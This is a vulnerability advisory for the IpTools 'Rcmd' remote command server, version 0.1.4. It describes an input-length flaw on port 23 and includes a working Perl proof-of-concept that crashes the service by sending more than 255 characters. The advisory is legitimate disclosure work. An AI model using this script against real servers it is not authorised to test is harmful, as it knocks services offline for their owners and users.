Title: IpTools(Tiny TCP/IP server) - Rcmd Remote Overflow Vulnerability Software : IpTools(Tiny TCP/IP server) Software Version : 0.1.4 Vendor: http://iptools.sourceforge.net/iptools.html Class: Boundary Condition Error CVE: Remote: Yes Local: No Published: 2012-01-07 Updated: Impact : High Bug Description : IPtools is a set of small tiny TCP/IP programs includes Remote command server(not a telnet server, Executable file: Rcmd.bat), etc. And the remote command server would bind tcp port 23, but it does not validate the command input size leading to a Denial Of Service flaw while sending more than 255 characters to it. POC: #------------------------------------------------------------- #!/usr/bin/perl -w #IpTools(0.1.4) - Rcmd Remote Crash PoC by demonalex@xxxxxxx #------------------------------------------------------------- use IO::Socket; $remote_host = '127.0.0.1'; #victim ip as your wish $remote_port = 23; #rcmd default port number $sock = IO::Socket::INET->new(PeerAddr => $remote_host, PeerPort => $remote_port, Timeout => 60) || die "$remote_host -> $remote_port is closed!\n"; $sock->recv($content, 1000, 0); $count=0; while($count<=255){ $sock->send("a", 0); $count++; } $sock->send("\r\n", 0); $sock->recv($content, 1000, 0); $sock->shutdown(2); exit(1); #------------------------------------------------------------- Credits : This vulnerability was discovered by demonalex@xxxxxxx mail: demonalex@xxxxxxx / ChaoYi.Huang@xxxxxxxxxxxxxxxx Pentester/Researcher Dark2S Security Team/PolyU.HK